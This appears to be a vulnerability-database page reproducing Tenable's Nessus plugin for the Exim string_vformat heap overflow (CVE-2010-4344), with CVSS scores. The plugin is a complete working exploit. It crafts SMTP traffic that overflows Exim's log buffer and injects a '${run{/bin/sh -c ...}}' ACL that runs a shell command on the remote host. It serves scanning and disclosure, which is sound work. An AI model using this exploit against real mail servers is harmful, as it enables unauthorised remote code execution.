Lucene search

K
nessusThis script is Copyright (C) 2010-2023 and is owned by Tenable, Inc. or an Affiliate thereof.EXIM_STRING_VFORMAT.NASL
HistoryDec 15, 2010 - 12:00 a.m.

Exim string_format Function Remote Overflow

2010-12-1500:00:00
This script is Copyright (C) 2010-2023 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
27

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.75

Percentile

98.2%

A heap overflow vulnerability exists in the version of exim installed on the remote host.

By sending a specially crafted message to the server, a remote attacker can leverage this vulnerability to execute arbitrary code on the server with the privilege of the exim server. A separate vulnerability that Nessus didn’t test for, CVE-2010-4345, is often used to elevate the exim user to root access.

Note that Nessus checked for this vulnerability by sending a specially crafted packet and checking the response, without crashing the service.

All 4.6x versions 4.69-9 and below are known to be affected, and others may be as well.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(51179);
  script_version("1.19");
  script_set_attribute(attribute:"plugin_modification_date", value:"2023/04/25");

  script_cve_id("CVE-2010-4344");
  script_bugtraq_id(45308);
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/15");

  script_name(english:"Exim string_format Function Remote Overflow");

  script_set_attribute(attribute:"synopsis", value:
"The remote service has a buffer overflow.");
  script_set_attribute(attribute:"description", value:
"A heap overflow vulnerability exists in the version of exim
installed on the remote host. 

By sending a specially crafted message to the server, a remote
attacker can leverage this vulnerability to execute arbitrary code on
the server with the privilege of the exim server. A separate vulnerability
that Nessus didn't test for, CVE-2010-4345, is often used to elevate the
exim user to root access. 

Note that Nessus checked for this vulnerability by sending a specially
crafted packet and checking the response, without crashing the
service. 

All 4.6x versions 4.69-9 and below are known to be affected, and others
may be as well.");
  script_set_attribute(attribute:"see_also", value:"https://bugs.exim.org/show_bug.cgi?id=787");
  script_set_attribute(attribute:"see_also", value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=606612");
  script_set_attribute(attribute:"see_also", value:"https://lists.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 4.70 as it addresses the issue.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2010-4344");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Exim4 string_format Function Heap Buffer Overflow');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/12/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2008/12/08");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/12/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:exim:exim");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"SMTP problems");

  script_copyright(english:"This script is Copyright (C) 2010-2023 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("smtpserver_detect.nasl");
  script_require_ports("Services/smtp", 25);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("smtp_func.inc");
include("data_protection.inc");

# Get the SMTP port
port = get_service(svc:"smtp", default:25, exit_on_fail:TRUE);
if (!get_port_state(port)) exit(0, "Port "+port+" is not open.");


# Get the banner from the registry (so we can bail early if it isn't a vulnerable version)
banner = get_smtp_banner(port:port);
if (!banner) exit(1, "The mail server listening on port "+port+" didn't respond.");
if ("Exim" >!< banner) exit(1, "The mail server listening on port "+port+" does not appear to be Exim.");

# Make sure the version of exim is 4.6x - other versions aren't vulnerable
banner = eregmatch(pattern:"^220 .*(Exim [0-9]+\.[0-9]+)", string:banner);
if (!banner) exit(1, "The Exim install listening on port "+port+" returned an unexpected response to EHLO.");
if ('4.6' >!< banner[1]) exit(1, "The Exim install listening on port "+port+" doesn't look like a vulnerable version.");


# Set up some variables
from = smtp_from_header();

to = get_kb_item("SMTP/headers/To");
if (!to) to = 'root@localhost';

# The user@ portion of the from/to headers (required for length checking)
from_user = eregmatch(pattern:"^(.*)@(.*)$", string:from);
from_user = from_user[1];

to_user = eregmatch(pattern:"^(.*)@(.*)$", string:from);
to_user = to_user[1];

if (!from_user) exit(1, "'from' email address was in an invalid format: " + from);

if(!to_user) exit(1, "'to' email address was in an invalid format: " + from);

# Hostname and ip should be filled in after the EHLO
hostname = 'nessus';
ip = "xxx.xxx.x.xxx";

# Initialize the overflow size to 50mb (this should be filled in later)
max_size = 50 * 1024 * 1024;

# The command to run when we get access, and how to match it
command = 'id';
command_match = 'uid=';

# Open the socket
socket = open_sock_tcp(port);
if (!socket) exit(1, "Can't open socket on port "+port+".");

# Receive the first line
header = recv_line( socket:socket, length:1024);
if(!header) exit(1, "The Exim install listening on port "+port+" didn't respond.");

# Send the EHLO
request = 'EHLO ' + hostname + '\r\n';
send(socket:socket, data:request);

# Parse the options (we're interested in SIZE, which tells us how big we have to go to generate an error)
while(TRUE)
{
  # Get the next options line
  options = recv_line( socket:socket, length:1024);

  # Parse it to make sure it's not an error
  options = eregmatch(pattern:"^250([ -])(.*)", string:options);
  if(!options)
    exit(0, "Server on port "+port+" returned an unexpected result");

  # In the 'hello' response, parse out the hostname/ip address
  # 250-debian Hello domain.com [192.168.103.1]
  if("Hello" >< options[2])
  {
    options = eregmatch(pattern:"Hello ([^ ]+) \[([0-9.]+)\]", string:options[2]);
    if(!options)
      exit(1, "Server returned an unexected 'Hello' string");
    hostname = options[1];
    ip = options[2];
  }

  # Parse the 'size' - this tells us how much we need to overflow the buffer
  # 250-SIZE 52428800
  if("SIZE" >< options[2])
  {
    new_size = eregmatch(pattern:'SIZE ([0-9]*)', string:options[2]);
    if(new_size)
      max_size = int(new_size[1]);
  }

  # Check if we're at the end of the options array
  if(options[1] == ' ')
    break;
}

# Send the MAIL FROM and check for errors
request = 'MAIL FROM: ' + from + '\r\n';
send(socket:socket, data:request);
response = recv_line( socket:socket, length:1024);
if('250' >!< response)
  exit(1, "The Exim install listening on port "+port+" returned an unexpected result to MAIL FROM (" + response + ").");

# Send the RCPT TO (also using Metasploit's default)
request = 'RCPT TO: ' + to + '\r\n';
send(socket:socket, data:request);
response = recv_line( socket:socket, length:1024);
if('250' >!< response)
  exit(1, "The Exim install listening on port "+port+" returned an unexpected result to RCPT TO (" + response + ").");

# Send the DATA
request = 'DATA\r\n';
send(socket:socket, data:request);
response = recv_line( socket:socket, length:1024);
if('354' >!< response)
  exit(1, "The Exim install listening on port "+port+" returned an unexpected result to DATA (" + response + ").");

# Finally, we have to overflow the buffer exactly right, so there are 3 bytes left.  The
# exploit is in a sprintf()-style function called string_vformat(). If the length string
# passed to string_vformat() is exactly the same as the number of characters in the string,
# the overflow happens. That's normally difficult to accomplish, but Exim's logging for failed
# connection gives exactly that opportunity. 
#
# The buffer starts at 8192 bytes. Each line it prints shortens the buffer by that much. 
buffer_size = 8192;

# The date is prefixed to the log
buffer_size = buffer_size - strlen("2010-12-13 15:46:12 ");

# As is the message ID
buffer_size = buffer_size - strlen("1PSF66-0000nX-9z ");

# Different configurations use a different string here.. this is what the default on Slackware is:
#rejected from <root@localhost> U=root: message too big: read=56725188 max=52428800
#
# And on Debian (the one we're checking for):
#rejected from <root@localhost> H=(hostname) [192.168.103.1]: message too big: read=56725188 max=52428800
#
# Unfortunately, we can't check them all, so we're going to use Debian's default
buffer_size = buffer_size - strlen("rejected from <" + from + "> H=(" + hostname + ") [" + ip + "]: message too big: read=" + max_size + " max=" + max_size + "\n");

# string_format: 'Envelope-from: <%s>\n' => Envelope-from: <root@localhost>\n
buffer_size = buffer_size - strlen('Envelope-from: <' + from + '>\n');

# string_format: 'Envelope-to: <%s>\n' => Envelope-to: <postmaster@localhost>\n
buffer_size = buffer_size - strlen('Envelope-to: <' + to + '>\n');

# At this point, the buffer should be approximately 8000 bytes long. We need to use up all but three. 
# Build the buffer for 'data' that will use it all up
data_buffer = '';
chunk = crap(12) + ': ' + crap(100) + '\n';

# We want 3 bytes left in the buffer at the end, so substract them now (that way, we can work with 0 as a target)
buffer_size = buffer_size - 4;

# This loop is a little tricky, and was by far the hardest part (for me, at least). Basically, we have approximately
# 8000 bytes to use up. But we have to be exact to trigger the vulnerability. Each time we add a line to the array, 
# it uses up 2 extra bytes (string_vformat is called with "%c %s", and winds up with two spaces at the start - I'm 
# not sure what the '%c' means in thnis case).
#
# To make sure we don't wind up with under 3 bytes, we stop when there's between #chunk and
# #chunk * 2 bytes left and add the last two lines. That means that, at a minimum, both lines
# will be #chunk/2 bytes long. 
while(buffer_size >= strlen(chunk) * 2)
{
  to_add = '';

  data_buffer = data_buffer + chunk;
  buffer_size = buffer_size - strlen(chunk) - 2;
}

# The two pairs of extra bytes
buffer_size = buffer_size - 4;

# The new newlines
buffer_size = buffer_size - 2;

# The length of the two strings without newlines
s1 = buffer_size / 2;
s2 = buffer_size - s1;

# Finally, add them, which will create the string that exactly overflows the buffer
data_buffer = data_buffer + substr(chunk, 0, s1) + '\n'; 
data_buffer = data_buffer + substr(chunk, 0, s2) + '\n'; 

# Add the command that'll overflow the ACL
data_buffer = data_buffer + crap(7) + ": ";
for(i = 0; i < 100; i++)
  for(j = 3; j < 12; j++)
    data_buffer = data_buffer + "${run{/bin/sh -c '" + command + ">&" + j + "'}} ";
data_buffer = data_buffer + '\n';

# Send it all
send(socket:socket, data:data_buffer);

# Next, send a really really really long string. The purpose of this is the cause the mail server
# to return an error ("message too long"). We do this in a loop so we don't have to allocate 50mb
# of buffer space and annoy the memory manager. 
for(i = 0; i < 10; i++)
  send(socket:socket, data:crap(data:crap(255) + '\n', length: max_size/10));

# Terminate the email
send(socket:socket, data:'\n.\n');

# Receive the response, which should be:
# 552 Message size exceeds maximum permitted
response = recv_line( socket:socket, length:1024);
if("552 Message size exceeds maximum permitted" >!< response)
  exit(1, "The Exim install listening on port "+port+" didn't reject the oversized message.");

# Send another MAIL FROM. This will cause the boobytrapped ACL to be run, which in turn
# causes the command to be run. 
send(socket:socket, data:"MAIL FROM: " + from + '\n');

# If the overflow was successful, it'll return the command_match string multiple times. 
# If it was unsuccessful, it'll return '250 OK' (in other words, accept the email). 
while(TRUE)
{
  response = recv_line( socket:socket, length:1024);
  if (!response)
    exit(0, "The Exmin install listening on port "+port+" does not appear to be vulnerable.");
  if ("250 OK" >< response)
    exit(0, "The Exim install listening on port "+port+" is not vulnerable or has a non-standard log configuration.");
  if (command_match >< response)
  {
    if (report_verbosity > 0)
    {
      report = '\n' +
        'Nessus was able to exploit the vulnerability to execute the command\n' +
        '\'' + command + '\' on the remote host, which produced the following output :\n' +
        '\n' +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
        data_protection::sanitize_uid(output:chomp(response)) + '\n' +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    exit(0);
  }
}

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.75

Percentile

98.2%